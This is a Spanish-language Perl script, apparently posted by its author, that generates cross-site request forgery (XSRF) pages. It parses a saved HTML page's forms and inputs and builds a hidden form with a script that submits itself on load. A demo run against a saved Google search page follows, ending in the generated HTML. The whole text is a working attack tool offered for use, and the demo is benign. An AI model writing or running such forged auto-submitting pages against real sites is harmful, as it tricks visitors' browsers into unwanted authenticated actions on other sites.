#!/usr/bin/perl
#By Xianur0
#uxmal666[at]gmail.com
use HTML::Parser;
$i = 1;
$b = 1;
my $parser = HTML::Parser->new(api_version=>3,
start_h=>[\&parsear, 'tag, attr'] ,);
print "\n\n Generador XSRF By Xianur0\n\n\n";
$file = $ARGV[0] || die("Use: xsrf.pl [File]\n");
open(FILE,$file) || die "No pudo abrirse: $!";
while(<FILE>) {
$html.= $_;
}
print "\nBuscando Campos....\n";
sub parsear {
my ($tag, $attr) = @_;
if($tag =~ "form") {
$name = $attr->{"name"};
$valor = $attr->{"action"};
$metodo = $attr->{"method"};
if($metodo eq "") { $metodo = "GET"}
print "\nFormulario ".$b.": ".$name."=>".$valor."=>".$metodo."\n";
$form{$b} = [$name, $metodo];
$b++;
}
if($tag =~ "input") {
$name = $attr->{"name"};
$valor = $attr->{"value"};
print "Campo ".$i.": ".$name."=>".$valor."\n";
$input{$i} = [$name, $valor];
$i++;
}
}
$parser->parse($html);
print "\nTerminado Archivo Parseado!..\n\n";
print "\nEscribe el Formulario a utilizar:\n";
$forma=<STDIN>;
chop($forma);
print "Cuantos Campos(input) utilizara?\n";
$cantidad=<STDIN>;
chop($cantidad);
for($o=1;$o<=$cantidad;$o++)
{
print "Formulario $o?\n";
$inputa=<STDIN>;
chop($inputa);
print "Desea Cambiar el Value? [y/n]\n";
$respuesta=<STDIN>;
chop($respuesta);
if($respuesta eq "y") {
print "Escriba el Nuevo Valor:\n";
$valu=<STDIN>;
chop($valu);
} else { $valu = $input{$inputa}[1]; }
$campos .='<input type="hidden" name="'.$input{$inputa}[0].'" value="'.$valu.'">';
}
print "Url Submit?\n";
$url=<STDIN>;
chop($url);
print "Generando XSRF Espere Por Favor...\n";
$xsrf = '<!-- XSRF Generator By Xianur0 -->
<form name="'.$form{$forma}[0].'" action="'.$url.'" method="'.$form{$forma}[1].'">'.$campos.'</form>
<script>document.'.$form{$forma}[0].'.submit()</script>';
open(LECTURA,">> xsrf.htm") || die "No pudo abrirse: $!";
print LECTURA $xsrf;
close(LECTURA);
print "\n\nGenerado!: xsrf.html\n\n";
ejemplo estupido de uso:
entro a google y descargo el index:
despues:
bt Desktop # perl xsrf.pl google.html
Generador XSRF By Xianur0
Buscando Campos....
Formulario 1: f=>/search=>GET
Campo 1: hl=>es
Campo 2: q=>
Campo 3: btnG=>Buscar con Google
Campo 4: btnI=>Voy a tener suerte
Campo 5: meta=>
Campo 6: meta=>lr=lang_es
Campo 7: meta=>cr=countryMX
Terminado Archivo Parseado!..
Escribe el Formulario a utilizar:
1
Cuantos Campos(input) utilizara?
6
Formulario 1?
1
Desea Cambiar el Value? [y/n]
y
Escriba el Nuevo Valor:
en
Formulario 2?
2
Desea Cambiar el Value? [y/n]
y
Escriba el Nuevo Valor:
Xianur0
Formulario 3?
3
Desea Cambiar el Value? [y/n]
n
Formulario 4?
5
Desea Cambiar el Value? [y/n]
n
Formulario 5?
6
Desea Cambiar el Value? [y/n]
n
Formulario 6?
7
Desea Cambiar el Value? [y/n]
n
Url Submit?
http://www.google.com/search
Generando XSRF Espere Por Favor...
Generado!: xsrf.html
Resultado:
<!-- XSRF Generator By Xianur0 -->
<form name="f" action="http://www.google.com/search" method="GET"><input type="hidden" name="hl" value="en"><input type="hidden" name="q" value="Xianur0"><input type="hidden" name="btnG" value="Buscar con Google"><input type="hidden" name="meta" value=""><input type="hidden" name="meta" value="lr=lang_es"><input type="hidden" name="meta" value="cr=countryMX"></form>
<script>document.f.submit()</script>
y se hace una busqueda con mi nick xD...
Saludos!